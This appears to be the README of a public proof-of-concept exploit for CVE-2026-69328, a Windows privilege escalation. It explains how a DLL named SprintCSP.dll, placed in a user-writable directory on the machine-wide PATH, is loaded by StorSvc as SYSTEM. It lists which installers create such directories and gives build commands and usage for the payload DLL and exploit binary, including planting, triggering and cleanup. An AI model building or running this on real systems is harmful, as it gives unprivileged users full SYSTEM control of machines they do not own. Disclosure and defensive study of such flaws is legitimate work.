0xf9b6a41ec/cve-2026-69328Windows privilege escalation exploit that plants SprintCSP.dll in a user-writable HKLM PATH directory to hijack StorSvc and execute as SYSTEM.
StorSvc loads SprintCSP.dll by relative name as SYSTEM. Plant it in a user-writable HKLM PATH directory, get SYSTEM.
Requires a user-writable directory in HKLM\SYSTEM\CurrentControlSet\Control\Session Manager\Environment\Path.
None on a clean image. Tooling installers add them (%USERPROFILE%\.cargo\bin, .local\bin, Python Scripts). If the box has none, CVE-2026-69328.exe --setup creates one, which takes a one-time admin prompt. The exploit itself never needs admin.
GCC:
gcc payload.c -shared -o SprintCSP.dll
gcc CVE-2026-69328.c -lrpcrt4 -ladvapi32 -lshell32 -o CVE-2026-69328.exe
MSVC:
cl /LD payload.c /Fe:SprintCSP.dll
cl CVE-2026-69328.c rpcrt4.lib advapi32.lib shell32.lib /Fe:CVE-2026-69328.exe
CVE-2026-69328.exe plant, trigger, read proof
CVE-2026-69328.exe --cleanup remove proof file + planted DLL
Proof lands at C:\Windows\System32\CVE-2026-69328.txt.
StorSvc crashes after the load and SCM restarts it after ~120s.